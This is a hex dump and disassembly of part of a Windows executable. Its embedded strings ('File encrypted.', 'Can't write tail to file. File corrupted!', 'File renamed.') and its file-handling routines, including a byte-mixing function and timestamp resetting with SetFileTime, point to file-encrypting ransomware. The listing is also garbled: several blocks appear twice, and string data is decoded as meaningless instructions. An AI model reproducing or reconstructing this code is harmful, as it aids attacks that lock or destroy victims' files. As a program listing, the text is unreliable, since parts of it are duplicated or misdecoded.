00446920 6c 00 65 00 20 00 61 00 6c 00 72 00 65 00 61 00 l.e. .a.l.r.e.a.
00446930 64 00 79 00 20 00 65 00 6e 00 63 00 72 00 79 00 d.y. .e.n.c.r.y.
00446940 70 00 74 00 65 00 64 00 2e 00 20 00 53 00 6b 00 p.t.e.d... .S.k.
00446950 69 00 70 00 20 00 69 00 74 00 2e 00 00 00 00 00 i.p. .i.t.......
00446960 b0 04 02 00 ff ff ff ff 36 00 00 00 57 00 41 00 ........6...W.A.
00446970 52 00 4e 00 49 00 4e 00 47 00 3a 00 20 00 49 00 R.N.I.N.G.:. .I.
00446980 6e 00 61 00 63 00 63 00 65 00 73 00 73 00 69 00 n.a.c.c.e.s.s.i.
00446990 62 00 6c 00 65 00 20 00 74 00 6f 00 20 00 72 00 b.l.e. .t.o. .r.
004469a0 65 00 61 00 64 00 20 00 74 00 61 00 69 00 6c 00 e.a.d. .t.a.i.l.
004469b0 20 00 6f 00 70 00 65 00 72 00 61 00 74 00 69 00 .o.p.e.r.a.t.i.
004469c0 6f 00 6e 00 2e 00 20 00 53 00 6b 00 69 00 70 00 o.n... .S.k.i.p.
004469d0 20 00 69 00 74 00 2e 00 00 00 00 00 b0 04 02 00 .i.t...........
004469e0 ff ff ff ff 34 00 00 00 45 00 52 00 52 00 4f 00 ....4...E.R.R.O.
004469f0 52 00 3a 00 20 00 49 00 6e 00 76 00 61 00 6c 00 R.:. .I.n.v.a.l.
00446a00 69 00 64 00 65 00 20 00 70 00 72 00 65 00 64 00 i.d.e. .p.r.e.d.
00446a10 65 00 66 00 69 00 6e 00 65 00 64 00 20 00 65 00 e.f.i.n.e.d. .e.
00446a20 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 n.c.r.y.p.t.i.o.
00446a30 6e 00 20 00 6d 00 6f 00 64 00 65 00 2e 00 20 00 n. .m.o.d.e... .
00446a40 53 00 6b 00 69 00 70 00 20 00 69 00 74 00 2e 00 S.k.i.p. .i.t...
00446a50 00 00 00 00 b0 04 02 00 ff ff ff ff 2e 00 00 00 ................
00446a60 45 00 52 00 52 00 4f 00 52 00 3a 00 20 00 49 00 E.R.R.O.R.:. .I.
00446a70 6e 00 76 00 61 00 6c 00 69 00 64 00 65 00 20 00 n.v.a.l.i.d.e. .
00446a80 70 00 72 00 65 00 64 00 65 00 66 00 69 00 6e 00 p.r.e.d.e.f.i.n.
00446a90 65 00 64 00 20 00 66 00 69 00 6c 00 65 00 20 00 e.d. .f.i.l.e. .
00446aa0 74 00 79 00 70 00 65 00 2e 00 20 00 53 00 6b 00 t.y.p.e... .S.k.
00446ab0 69 00 70 00 20 00 69 00 74 00 2e 00 00 00 00 00 i.p. .i.t.......
00446ac0 b0 04 02 00 ff ff ff ff 2d 00 00 00 57 00 41 00 ........-...W.A.
00446ad0 52 00 4e 00 49 00 4e 00 47 00 3a 00 20 00 43 00 R.N.I.N.G.:. .C.
00446ae0 61 00 6e 00 27 00 74 00 20 00 69 00 6e 00 63 00 a.n.'.t. .i.n.c.
00446af0 72 00 65 00 61 00 73 00 65 00 20 00 66 00 69 00 r.e.a.s.e. .f.i.
00446b00 6c 00 65 00 20 00 73 00 69 00 7a 00 65 00 2e 00 l.e. .s.i.z.e...
00446b10 20 00 53 00 6b 00 69 00 70 00 20 00 66 00 69 00 .S.k.i.p. .f.i.
00446b20 6c 00 65 00 2e 00 00 00 e3 04 01 00 ff ff ff ff l.e.............
00446b30 02 00 00 00 00 00 00 00 b0 04 02 00 ff ff ff ff ................
00446b40 30 00 00 00 45 00 52 00 52 00 4f 00 52 00 3a 00 0...E.R.R.O.R.:.
00446b50 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 77 00 .C.a.n.'.t. .w.
00446b60 72 00 69 00 74 00 65 00 20 00 74 00 61 00 69 00 r.i.t.e. .t.a.i.
00446b70 6c 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 l. .t.o. .f.i.l.
00446b80 65 00 2e 00 20 00 46 00 69 00 6c 00 65 00 20 00 e... .F.i.l.e. .
00446b90 63 00 6f 00 72 00 72 00 75 00 70 00 74 00 65 00 c.o.r.r.u.p.t.e.
00446ba0 64 00 21 00 00 00 00 00 b0 04 02 00 ff ff ff ff d.!.............
00446bb0 0f 00 00 00 46 00 69 00 6c 00 65 00 20 00 65 00 ....F.i.l.e. .e.
00446bc0 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 n.c.r.y.p.t.e.d.
00446bd0 2e 00 00 00 b0 04 02 00 ff ff ff ff 1c 00 00 00 ................
00446be0 48 00 49 00 4e 00 54 00 3a 00 20 00 43 00 61 00 H.I.N.T.:. .C.a.
00446bf0 6e 00 27 00 74 00 20 00 6f 00 70 00 65 00 6e 00 n.'.t. .o.p.e.n.
00446c00 20 00 66 00 69 00 6c 00 65 00 20 00 61 00 67 00 .f.i.l.e. .a.g.
00446c10 61 00 69 00 6e 00 2e 00 00 00 00 00 b0 04 02 00 a.i.n...........
00446c20 ff ff ff ff 20 00 00 00 48 00 49 00 4e 00 54 00 .... ...H.I.N.T.
00446c30 3a 00 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 :. .C.a.n.'.t. .
00446c40 67 00 65 00 74 00 20 00 66 00 69 00 6c 00 65 00 g.e.t. .f.i.l.e.
00446c50 20 00 73 00 69 00 7a 00 65 00 20 00 61 00 67 00 .s.i.z.e. .a.g.
00446c60 61 00 69 00 6e 00 2e 00 00 00 00 00 b0 04 02 00 a.i.n...........
00446c70 ff ff ff ff 3f 00 00 00 57 00 41 00 52 00 4e 00 ....?...W.A.R.N.
00446c80 49 00 4e 00 47 00 20 00 6f 00 72 00 20 00 45 00 I.N.G. .o.r. .E.
00446c90 52 00 52 00 4f 00 52 00 3a 00 20 00 43 00 61 00 R.R.O.R.:. .C.a.
00446ca0 6e 00 27 00 74 00 20 00 72 00 65 00 61 00 64 00 n.'.t. .r.e.a.d.
00446cb0 20 00 74 00 61 00 69 00 6c 00 20 00 74 00 6f 00 .t.a.i.l. .t.o.
00446cc0 20 00 63 00 68 00 65 00 63 00 6b 00 20 00 66 00 .c.h.e.c.k. .f.
00446cd0 69 00 6c 00 65 00 20 00 6f 00 6e 00 20 00 65 00 i.l.e. .o.n. .e.
00446ce0 6e 00 63 00 72 00 74 00 79 00 70 00 74 00 69 00 n.c.r.t.y.p.t.i.
00446cf0 6f 00 6e 00 2e 00 00 00 b0 04 02 00 ff ff ff ff o.n.............
00446d00 34 00 00 00 57 00 41 00 52 00 4e 00 49 4...W.A.R.N.I
00446d0d
00446d0dfn_446d0d:
00446d0dadd [rsi], cl
00446d10add [r8], r12b
00446d13add [rdi], ch
00446d16jb 0x446d18
00446d18
00446d18loc_446d18:
00446d18and [rax], al
00446d1aadd [r10], r10b
00446d1epush rdx
00446d1fadd [rdi], cl
00446d22push rdx
00446d23add [rdx], bh
00446d25add [rax], ah
00446d27add [rsi], al
00446d2aimul eax, [rax], 0x65006c
00446d30and [rax], al
00446d32imul eax, [rax], 0x200073
00446d38outsb dl, [rsi]
00446d39add [rdi], ch
00446d3cje 0x446d3e
00446d3e
00446d3eloc_446d3e:
00446d3eand [rax], al
00446d40add [rbp], ah
00446d44je 0x446d46
00446d46
00446d46loc_446d46:
00446d46add [rbx], ah
00446d4aje 0x446d4c
00446d4c
00446d4cloc_446d4c:
00446d4cadd [rax+rax+32], ah
00446d51add [rcx], ah
00446d54jae 0x446d56
00446d56
00446d56loc_446d56:
00446d56and [rax], al
00446d58add [rsi], ch
00446d5cmovsxd rax, [rax]
00446d5ejb 0x446d60
00446d60
00446d60loc_446d60:
00446d60jns 0x446d62
00446d62
00446d62loc_446d62:
00446d62jo 0x446d64
00446d64
00446d64loc_446d64:
00446d64je 0x446d66
00446d66
00446d66loc_446d66:
00446d66add [rax+rax+46], ah
00446d6badd [rax], al
00446d6dadd [rax], al
00446d6fadd [rax-0xfffdfc], dh
00446d0d
00446d0dfn_446d0d:
00446d0dadd [rsi], cl
00446d10add [r8], r12b
00446d13add [rdi], ch
00446d16jb 0x446d18
00446d18
00446d18loc_446d18:
00446d18and [rax], al
00446d1aadd [r10], r10b
00446d1epush rdx
00446d1fadd [rdi], cl
00446d22push rdx
00446d23add [rdx], bh
00446d25add [rax], ah
00446d27add [rsi], al
00446d2aimul eax, [rax], 0x65006c
00446d30and [rax], al
00446d32imul eax, [rax], 0x200073
00446d38outsb dl, [rsi]
00446d39add [rdi], ch
00446d3cje 0x446d3e
00446d3e
00446d3eloc_446d3e:
00446d3eand [rax], al
00446d40add [rbp], ah
00446d44je 0x446d46
00446d46
00446d46loc_446d46:
00446d46add [rbx], ah
00446d4aje 0x446d4c
00446d4c
00446d4cloc_446d4c:
00446d4cadd [rax+rax+32], ah
00446d51add [rcx], ah
00446d54jae 0x446d56
00446d56
00446d56loc_446d56:
00446d56and [rax], al
00446d58add [rsi], ch
00446d5cmovsxd rax, [rax]
00446d5ejb 0x446d60
00446d60
00446d60loc_446d60:
00446d60jns 0x446d62
00446d62
00446d62loc_446d62:
00446d62jo 0x446d64
00446d64
00446d64loc_446d64:
00446d64je 0x446d66
00446d66
00446d66loc_446d66:
00446d66add [rax+rax+46], ah
00446d6badd [rax], al
00446d6dadd [rax], al
00446d6fadd [rax-0xfffdfc], dh
00446d0d
00446d75
00446d75 ff ff ff 17 00 00 00 46 00 69 00 .......F.i.
00446d80 6c 00 65 00 20 00 65 00 6e 00 63 00 72 00 79 00 l.e. .e.n.c.r.y.
00446d90 70 00 74 00 69 00 6f 00 6e 00 20 00 63 00 68 00 p.t.i.o.n. .c.h.
00446da0 65 00 63 00 6b 00 65 00 64 00 00 00 b0 04 02 00 e.c.k.e.d.......
00446db0 ff ff ff ff 1b 00 00 00 48 00 49 00 4e 00 54 00 ........H.I.N.T.
00446dc0 3a 00 20 00 46 00 69 00 6c 00 65 00 20 00 63 00 :. .F.i.l.e. .c.
00446dd0 61 00 6e 00 27 00 74 00 20 00 62 00 65 00 20 00 a.n.'.t. .b.e. .
00446de0 72 00 65 00 6e 00 61 00 6d 00 65 00 64 00 00 00 r.e.n.a.m.e.d...
00446df0 b0 04 02 00 ff ff ff ff 0d 00 00 00 46 00 69 00 ............F.i.
00446e00 6c 00 65 00 20 00 72 00 65 00 6e 00 61 00 6d 00 l.e. .r.e.n.a.m.
00446e10 65 00 64 00 2e 00 00 00 cc cc cc cc cc cc cc cc e.d.............
00446d75 ff ff ff 17 00 00 00 46 00 69 00 .......F.i.
00446d80 6c 00 65 00 20 00 65 00 6e 00 63 00 72 00 79 00 l.e. .e.n.c.r.y.
00446d90 70 00 74 00 69 00 6f 00 6e 00 20 00 63 00 68 00 p.t.i.o.n. .c.h.
00446da0 65 00 63 00 6b 00 65 00 64 00 00 00 b0 04 02 00 e.c.k.e.d.......
00446db0 ff ff ff ff 1b 00 00 00 48 00 49 00 4e 00 54 00 ........H.I.N.T.
00446dc0 3a 00 20 00 46 00 69 00 6c 00 65 00 20 00 63 00 :. .F.i.l.e. .c.
00446dd0 61 00 6e 00 27 00 74 00 20 00 62 00 65 00 20 00 a.n.'.t. .b.e. .
00446de0 72 00 65 00 6e 00 61 00 6d 00 65 00 64 00 00 00 r.e.n.a.m.e.d...
00446df0 b0 04 02 00 ff ff ff ff 0d 00 00 00 46 00 69 00 ............F.i.
00446e00 6c 00 65 00 20 00 72 00 65 00 6e 00 61 00 6d 00 l.e. .r.e.n.a.m.
00446e10 65 00 64 00 2e 00 00 00 cc cc cc cc cc cc cc cc e.d.............
00446e20
00446e20Unit49.finalization:
00446e20add [rip+0x29935], 1
00446e27cmp [rip+0x2992e], 0
00446e2eret
00446e20
00446e20Unit49.finalization:
00446e20add [rip+0x29935], 1
00446e27cmp [rip+0x2992e], 0
00446e2eret
00446e20
00446e2f
00446e2f // align 0x10
00446e2f // align 0x10
00446e30
00446e30Unit49.initialization:
00446e30sub [rip+0x29925], 1
00446e37cmp [rip+0x2991e], -1
00446e3eret
00446e30
00446e30Unit49.initialization:
00446e30sub [rip+0x29925], 1
00446e37cmp [rip+0x2991e], -1
00446e3eret
00446e30
00446e3f
00446e3f // align 0x10
00446e3f // align 0x10
00446e40
00446e40fn_446e40:
00446e40push rbp
00446e41push rdi
00446e42push rsi
00446e43push rbx
00446e44sub rsp, 56
00446e48mov rbp, rsp
00446e4bmov [rbp+44], edx
00446e4emov [rbp+96], rcx
00446e52mov [rbp+112], r8
00446e56mov rcx, [rbp+96]
00446e5acall fn_4106d0
00446e5fmov rcx, [rbp+112]
00446e63call fn_4106d0
00446e68nop
00446e69xor ecx, ecx
00446e6bxor edx, edx
00446e6dxor r8, r8
00446e70xor r9, r9
00446e73xor eax, eax
00446e75
00446e75loc_446e75:
00446e75mov r10, [rbp+112]
00446e79movsxd r11, eax
00446e7cmov [r10+r11], 0
00446e81add eax, 1
00446e84cmp eax, 16
00446e87jne 0x446e75
00446e89nop
00446e8axor r10, r10
00446e8dmov ebx, [rbp+44]
00446e90sub ebx, 1
00446e93mov eax, r10l
00446e96cmp eax, ebx
00446e98jg 0x447043
00446e9esub ebx, r10l
00446ea1add ebx, 1
00446ea4
00446ea4loc_446ea4:
00446ea4movsxd r10, eax
00446ea7mov r11, [rbp+112]
00446eabmov rsi, [rbp+96]
00446eafmovzx rsi, [rsi+r10]
00446eb4xor [r11], sil
00446eb7mov r11, [rbp+112]
00446ebblea r11, [r11+1]
00446ebfmov rsi, [rbp+96]
00446ec3movzx rsi, [rsi+r10]
00446ec8add [r11], sil
00446ecbmov r11, [rbp+112]
00446ecflea r11, [r11+2]
00446ed3mov rsi, [rbp+96]
00446ed7movzx rsi, [rsi+r10]
00446edcsub [r11], sil
00446edfmov r11, [rbp+96]
00446ee3movzx r11, [r11+r10]
00446ee8mov rsi, [rbp+112]
00446eeccmp r11b, [rsi+3]
00446ef0jbe 0x446efa
00446ef2mov rsi, [rbp+112]
00446ef6mov [rsi+3], r11b
00446efa
00446efaloc_446efa:
00446efamov r11l, eax
00446efdand r11l, 0xffffffff80000001
00446f04jns 0x446f12
00446f06sub r11l, 1
00446f0aor r11l, -2
00446f0eadd r11l, 1
00446f12
00446f12loc_446f12:
00446f12test r11l, r11l
00446f15jne 0x446f80
00446f17mov rcx, [rbp+112]
00446f1blea rcx, [rcx+4]
00446f1fmov rdx, [rbp+96]
00446f23movzx rdx, [rdx+r10]
00446f28xor [rcx], dl
00446f2amov rcx, [rbp+112]
00446f2elea rcx, [rcx+5]
00446f32mov rdx, [rbp+96]
00446f36movzx rdx, [rdx+r10]
00446f3badd [rcx], dl
00446f3dmov rcx, [rbp+112]
00446f41lea rcx, [rcx+6]
00446f45mov rdx, [rbp+96]
00446f49movzx rdx, [rdx+r10]
00446f4esub [rcx], dl
00446f50mov rcx, [rbp+96]
00446f54movzx rcx, [rcx+r10]
00446f59mov rdx, [rbp+112]
00446f5dcmp cl, [rdx+7]
00446f60jbe 0x446f69
00446f62mov rdx, [rbp+112]
00446f66mov [rdx+7], cl
00446f69
00446f69loc_446f69:
00446f69mov rcx, [rbp+96]
00446f6dmovzx r9, [rcx+r10]
00446f72mov ecx, r9l
00446f75mov edx, r9l
00446f78mov r8l, r9l
00446f7bjmp 0x447035
00446f80
00446f80loc_446f80:
00446f80mov r11, [rbp+112]
00446f84lea r11, [r11+8]
00446f88mov rsi, [rbp+96]
00446f8cmovzx rsi, [rsi+r10]
00446f91xor [r11], sil
00446f94mov r11, [rbp+112]
00446f98lea r11, [r11+9]
00446f9cmov rsi, [rbp+96]
00446fa0movzx rsi, [rsi+r10]
00446fa5add [r11], sil
00446fa8mov r11, [rbp+112]
00446faclea r11, [r11+10]
00446fb0mov rsi, [rbp+96]
00446fb4movzx rsi, [rsi+r10]
00446fb9sub [r11], sil
00446fbcmov r11, [rbp+96]
00446fc0movzx r11, [r11+r10]
00446fc5mov rsi, [rbp+112]
00446fc9cmp r11b, [rsi+11]
00446fcdjbe 0x446fd7
00446fcfmov rsi, [rbp+112]
00446fd3mov [rsi+11], r11b
00446fd7
00446fd7loc_446fd7:
00446fd7mov r11, [rbp+112]
00446fdblea r11, [r11+12]
00446fdfmov rsi, [rbp+96]
00446fe3mov edi, ecx
00446fe6and dil, [rsi+r10]
00446feaxor [r11], dil
00446fedmov r11, [rbp+112]
00446ff1lea r11, [r11+13]
00446ff5mov rsi, [rbp+96]
00446ff9mov edi, edx
00446ffcor dil, [rsi+r10]
00447000xor [r11], dil
00447003mov r11, [rbp+112]
00447007lea r11, [r11+14]
0044700bmov rsi, [rbp+96]
0044700fmov edi, r8l
00447012add dil, [rsi+r10]
00447016xor [r11], dil
00447019mov r11, [rbp+96]
0044701dmovzx r10, [r11+r10]
00447022cmp r10b, r9b
00447025jbe 0x44702a
00447027mov r9l, r10l
0044702a
0044702aloc_44702a:
0044702amov r10, [rbp+112]
0044702elea r10, [r10+15]
00447032xor [r10], r9b
00447035
00447035loc_447035:
00447035add eax, 1
00447038sub ebx, 1
0044703btest ebx, ebx
0044703djne 0x446ea4
00447043
00447043loc_447043:
00447043nop
00447044nop
00447045lea rcx, [rbp+96]
00447049mov rdx, [rip-0x18230]
00447050call fn_410600
00447055lea rcx, [rbp+112]
00447059mov rdx, [rip-0x18240]
00447060call fn_410600
00447065lea rsp, [rbp+56]
00447069pop rbx
0044706apop rsi
0044706bpop rdi
0044706cpop rbp
0044706dret
00446e40
00446e40fn_446e40:
00446e40push rbp
00446e41push rdi
00446e42push rsi
00446e43push rbx
00446e44sub rsp, 56
00446e48mov rbp, rsp
00446e4bmov [rbp+44], edx
00446e4emov [rbp+96], rcx
00446e52mov [rbp+112], r8
00446e56mov rcx, [rbp+96]
00446e5acall fn_4106d0
00446e5fmov rcx, [rbp+112]
00446e63call fn_4106d0
00446e68nop
00446e69xor ecx, ecx
00446e6bxor edx, edx
00446e6dxor r8, r8
00446e70xor r9, r9
00446e73xor eax, eax
00446e75
00446e75loc_446e75:
00446e75mov r10, [rbp+112]
00446e79movsxd r11, eax
00446e7cmov [r10+r11], 0
00446e81add eax, 1
00446e84cmp eax, 16
00446e87jne 0x446e75
00446e89nop
00446e8axor r10, r10
00446e8dmov ebx, [rbp+44]
00446e90sub ebx, 1
00446e93mov eax, r10l
00446e96cmp eax, ebx
00446e98jg 0x447043
00446e9esub ebx, r10l
00446ea1add ebx, 1
00446ea4
00446ea4loc_446ea4:
00446ea4movsxd r10, eax
00446ea7mov r11, [rbp+112]
00446eabmov rsi, [rbp+96]
00446eafmovzx rsi, [rsi+r10]
00446eb4xor [r11], sil
00446eb7mov r11, [rbp+112]
00446ebblea r11, [r11+1]
00446ebfmov rsi, [rbp+96]
00446ec3movzx rsi, [rsi+r10]
00446ec8add [r11], sil
00446ecbmov r11, [rbp+112]
00446ecflea r11, [r11+2]
00446ed3mov rsi, [rbp+96]
00446ed7movzx rsi, [rsi+r10]
00446edcsub [r11], sil
00446edfmov r11, [rbp+96]
00446ee3movzx r11, [r11+r10]
00446ee8mov rsi, [rbp+112]
00446eeccmp r11b, [rsi+3]
00446ef0jbe 0x446efa
00446ef2mov rsi, [rbp+112]
00446ef6mov [rsi+3], r11b
00446efa
00446efaloc_446efa:
00446efamov r11l, eax
00446efdand r11l, 0xffffffff80000001
00446f04jns 0x446f12
00446f06sub r11l, 1
00446f0aor r11l, -2
00446f0eadd r11l, 1
00446f12
00446f12loc_446f12:
00446f12test r11l, r11l
00446f15jne 0x446f80
00446f17mov rcx, [rbp+112]
00446f1blea rcx, [rcx+4]
00446f1fmov rdx, [rbp+96]
00446f23movzx rdx, [rdx+r10]
00446f28xor [rcx], dl
00446f2amov rcx, [rbp+112]
00446f2elea rcx, [rcx+5]
00446f32mov rdx, [rbp+96]
00446f36movzx rdx, [rdx+r10]
00446f3badd [rcx], dl
00446f3dmov rcx, [rbp+112]
00446f41lea rcx, [rcx+6]
00446f45mov rdx, [rbp+96]
00446f49movzx rdx, [rdx+r10]
00446f4esub [rcx], dl
00446f50mov rcx, [rbp+96]
00446f54movzx rcx, [rcx+r10]
00446f59mov rdx, [rbp+112]
00446f5dcmp cl, [rdx+7]
00446f60jbe 0x446f69
00446f62mov rdx, [rbp+112]
00446f66mov [rdx+7], cl
00446f69
00446f69loc_446f69:
00446f69mov rcx, [rbp+96]
00446f6dmovzx r9, [rcx+r10]
00446f72mov ecx, r9l
00446f75mov edx, r9l
00446f78mov r8l, r9l
00446f7bjmp 0x447035
00446f80
00446f80loc_446f80:
00446f80mov r11, [rbp+112]
00446f84lea r11, [r11+8]
00446f88mov rsi, [rbp+96]
00446f8cmovzx rsi, [rsi+r10]
00446f91xor [r11], sil
00446f94mov r11, [rbp+112]
00446f98lea r11, [r11+9]
00446f9cmov rsi, [rbp+96]
00446fa0movzx rsi, [rsi+r10]
00446fa5add [r11], sil
00446fa8mov r11, [rbp+112]
00446faclea r11, [r11+10]
00446fb0mov rsi, [rbp+96]
00446fb4movzx rsi, [rsi+r10]
00446fb9sub [r11], sil
00446fbcmov r11, [rbp+96]
00446fc0movzx r11, [r11+r10]
00446fc5mov rsi, [rbp+112]
00446fc9cmp r11b, [rsi+11]
00446fcdjbe 0x446fd7
00446fcfmov rsi, [rbp+112]
00446fd3mov [rsi+11], r11b
00446fd7
00446fd7loc_446fd7:
00446fd7mov r11, [rbp+112]
00446fdblea r11, [r11+12]
00446fdfmov rsi, [rbp+96]
00446fe3mov edi, ecx
00446fe6and dil, [rsi+r10]
00446feaxor [r11], dil
00446fedmov r11, [rbp+112]
00446ff1lea r11, [r11+13]
00446ff5mov rsi, [rbp+96]
00446ff9mov edi, edx
00446ffcor dil, [rsi+r10]
00447000xor [r11], dil
00447003mov r11, [rbp+112]
00447007lea r11, [r11+14]
0044700bmov rsi, [rbp+96]
0044700fmov edi, r8l
00447012add dil, [rsi+r10]
00447016xor [r11], dil
00447019mov r11, [rbp+96]
0044701dmovzx r10, [r11+r10]
00447022cmp r10b, r9b
00447025jbe 0x44702a
00447027mov r9l, r10l
0044702a
0044702aloc_44702a:
0044702amov r10, [rbp+112]
0044702elea r10, [r10+15]
00447032xor [r10], r9b
00447035
00447035loc_447035:
00447035add eax, 1
00447038sub ebx, 1
0044703btest ebx, ebx
0044703djne 0x446ea4
00447043
00447043loc_447043:
00447043nop
00447044nop
00447045lea rcx, [rbp+96]
00447049mov rdx, [rip-0x18230]
00447050call fn_410600
00447055lea rcx, [rbp+112]
00447059mov rdx, [rip-0x18240]
00447060call fn_410600
00447065lea rsp, [rbp+56]
00447069pop rbx
0044706apop rsi
0044706bpop rdi
0044706cpop rbp
0044706dret
00446e40
0044706e
0044706e 48 90 H.
0044706e 48 90 H.
00447070
00447070fn_447070:
00447070push rbp
00447071push rbx
00447072sub rsp, 40
00447076mov rbp, rsp
00447079mov rbx, rdx
0044707clea rcx, [rbx+96]
00447080mov rdx, [rip-0x18267]
00447087call fn_410600
0044708clea rcx, [rbx+112]
00447090mov rdx, [rip-0x18277]
00447097call fn_410600
0044709clea rsp, [rbp+40]
004470a0pop rbx
004470a1pop rbp
004470a2ret
00447070
00447070fn_447070:
00447070push rbp
00447071push rbx
00447072sub rsp, 40
00447076mov rbp, rsp
00447079mov rbx, rdx
0044707clea rcx, [rbx+96]
00447080mov rdx, [rip-0x18267]
00447087call fn_410600
0044708clea rcx, [rbx+112]
00447090mov rdx, [rip-0x18277]
00447097call fn_410600
0044709clea rsp, [rbp+40]
004470a0pop rbx
004470a1pop rbp
004470a2ret
00447070
004470a3
004470a3 // align 0x10
004470a3 // align 0x10
004470b0
004470b0fn_4470b0:
004470b0push rbp
004470b1push rbx
004470b2sub rsp, 392
004470b9mov rbp, rsp
004470bcmov [rbp+120], r8
004470c0mov [rbp+128], r9
004470c7mov [rbp+144], 0
004470d2mov [rbp+136], 0
004470ddmov [rbp+152], 0
004470e8mov [rbp+184], 0
004470f3mov [rbp+168], 0
004470femov [rbp+160], 0
00447109mov [rbp+176], 0
00447114mov [rbp+192], 0
0044711fmov [rbp+200], 0
0044712amov [rbp+208], 0
00447135mov [rbp+216], 0
00447140mov [rbp+224], 0
0044714bmov [rbp+232], 0
00447156mov [rbp+352], 0
00447161mov [rbp+344], 0
0044716cmov [rbp+336], 0
00447177mov [rbp+304], 0
00447182mov [rbp+296], 0
0044718dmov [rbp+288], 0
00447198mov [rbp+280], 0
004471a3mov [rbp+272], 0
004471aemov [rbp+264], 0
004471b9mov [rbp+256], 0
004471c4mov [rbp+240], 0
004471cfmov [rbp+416], rcx
004471d6mov [rbp+424], rdx
004471ddlea rcx, [rbp+416]
004471e4call fn_40bf00
004471e9lea rcx, [rbp+424]
004471f0call fn_40bf00
004471f5nop
004471f6lea rcx, [rbp+376]
004471fdmov rdx, [rbp+416]
00447204mov r8, [rbp+424]
0044720bmov r9l, [rbp+448]
00447212call fn_444b80
00447217test al, al
00447219je 0x44791d
0044721fmov rcx, [rbp+376]
00447226lea rdx, [rbp+368]
0044722dcall GetFileSizeEx
00447232test eax, eax
00447234jne 0x447247
00447236mov rcx, [rbp+376]
0044723dcall CloseHandle
00447242jmp 0x44791d
00447247
00447247loc_447247:
00447247cmp [rbp+368], 0
0044724fjne 0x447262
00447251mov rcx, [rbp+376]
00447258call CloseHandle
0044725djmp 0x44791d
00447262
00447262loc_447262:
00447262cmp [rbp+368], 16
0044726ajle 0x4472c1
0044726clea rcx, [rbp+232]
00447273mov rdx, [rbp+416]
0044727amov r8, [rbp+424]
00447281call fn_40d230
00447286lea rcx, [rbp+376]
0044728dmov rdx, [rbp+368]
00447294mov r8, [rbp+232]
0044729blea r9, [rbp+240]
004472a2mov [rsp+32], 0
004472a7call fn_444860
004472actest al, al
004472aeje 0x4472c1
004472b0mov rcx, [rbp+376]
004472b7call CloseHandle
004472bcjmp 0x44791d
004472c1
004472c1loc_4472c1:
004472c1lea rcx, [rbp+264]
004472c8mov rdx, [rbp+424]
004472cfcall fn_414390
004472d4xor eax, eax
004472d6mov rcx, [rbp+264]
004472ddtest rcx, rcx
004472e0je 0x4472e5
004472e2mov eax, [rcx-4]
004472e5
004472e5loc_4472e5:
004472e5mov rcx, [rbp+128]
004472ecmov rcx, [rcx]
004472eftest rcx, rcx
004472f2je 0x4472f8
004472f4mov rcx, [rcx-8]
004472f8
004472f8loc_4472f8:
004472f8mov rdx, [rbp+368]
004472ffmov r8, [rbp+424]
00447306mov r9l, ecx
00447309lea rcx, [rbp+254]
00447310mov [rsp+32], rcx
00447315lea rcx, [rbp+255]
0044731cmov [rsp+40], rcx
00447321lea rcx, [rbp+364]
00447328mov [rsp+48], rcx
0044732dmov rcx, [rip+0x1cc04]
00447334mov [rsp+56], rcx
00447339mov [rsp+64], 0
0044733emov [rsp+72], 0
00447346mov rcx, [rip+0x1cbeb]
0044734dmov [rsp+80], rcx
00447352mov rcx, [rip+0x1ce0f]
00447359mov [rsp+88], rcx
0044735emov [rsp+96], 1
00447363mov rcx, rdx
00447366mov rdx, r8
00447369mov r8l, eax
0044736ccall fn_4431c0
00447371lea rcx, [rbp+352]
00447378mov rdx, [rip-0x1855f]
0044737fcall fn_410600
00447384lea rcx, [rbp+352]
0044738bmov rdx, [rip-0x18572]
00447392mov r8l, 1
00447398mov r9l, [rbp+364]
0044739fcall fn_410430
004473a4mov rax, [rbp+352]
004473abmov [rax+1], 0
004473afmov rax, [rbp+352]
004473b6mov [rax+3], 0
004473bamov rax, [rbp+352]
004473c1mov [rax+5], 0
004473c5mov rax, [rbp+352]
004473ccmov [rax+7], 0
004473d0lea rcx, [rbp+224]
004473d7mov rdx, [rbp+416]
004473demov r8, [rbp+424]
004473e5call fn_40d230
004473ealea rcx, [rbp+376]
004473f1mov rdx, [rbp+368]
004473f8mov r8l, [rbp+364]
004473fflea r9, [rbp+352]
00447406mov rax, [rbp+224]
0044740dmov [rsp+32], rax
00447412call fn_4442e0
00447417test al, al
00447419jne 0x447460
0044741blea rcx, [rbp+216]
00447422mov rdx, [rbp+416]
00447429mov r8, [rbp+424]
00447430call fn_40d230
00447435lea rcx, [rbp+376]
0044743cmov rdx, [rbp+368]
00447443mov r8, [rbp+216]
0044744acall fn_443770
0044744fmov rcx, [rbp+376]
00447456call CloseHandle
0044745bjmp 0x44791d
00447460
00447460loc_447460:
00447460lea rcx, [rbp+344]
00447467lea rdx, [rbp+336]
0044746exor r8, r8
00447471call fn_443910
00447476mov rcx, [rbp+376]
0044747dlea rdx, [rbp+328]
00447484lea r8, [rbp+312]
0044748blea r9, [rbp+320]
00447492call GetFileTime
00447497test eax, eax
00447499jne 0x4474af
0044749bmov [rbp+328], 0
004474a5mov [rbp+332], 0
004474af
004474afloc_4474af:
004474aflea rcx, [rbp+304]
004474b6mov edx, [rbp+328]
004474bccall fn_430990
004474c1lea rcx, [rbp+296]
004474c8mov edx, [rbp+332]
004474cecall fn_430990
004474d3cmp [rbp+328], 0
004474dajne 0x4474e5
004474dccmp [rbp+332], 0
004474e3je 0x44751a
004474e5
004474e5loc_4474e5:
004474e5mov [rbp+328], 1
004474efmov [rbp+332], 0
004474f9mov rcx, [rbp+376]
00447500lea rdx, [rbp+328]
00447507lea r8, [rbp+312]
0044750elea r9, [rbp+320]
00447515call SetFileTime
0044751a
0044751aloc_44751a:
0044751alea rcx, [rbp+304]
00447521lea rdx, [rbp+296]
00447528lea r8, [rbp+288]
0044752fcall fn_4300b0
00447534lea rcx, [rbp+264]
0044753blea rdx, [rip+1294]
00447542mov r8, [rbp+264]
00447549call fn_40ca10
0044754emov rcx, [rbp+264]
00447555lea rdx, [rbp+280]
0044755ccall fn_430db0
00447561lea rcx, [rbp+288]
00447568lea rdx, [rbp+280]
0044756flea r8, [rbp+288]
00447576call fn_4300b0
0044757blea rcx, [rbp+272]
00447582mov rdx, [rip-0x18769]
00447589call fn_410600
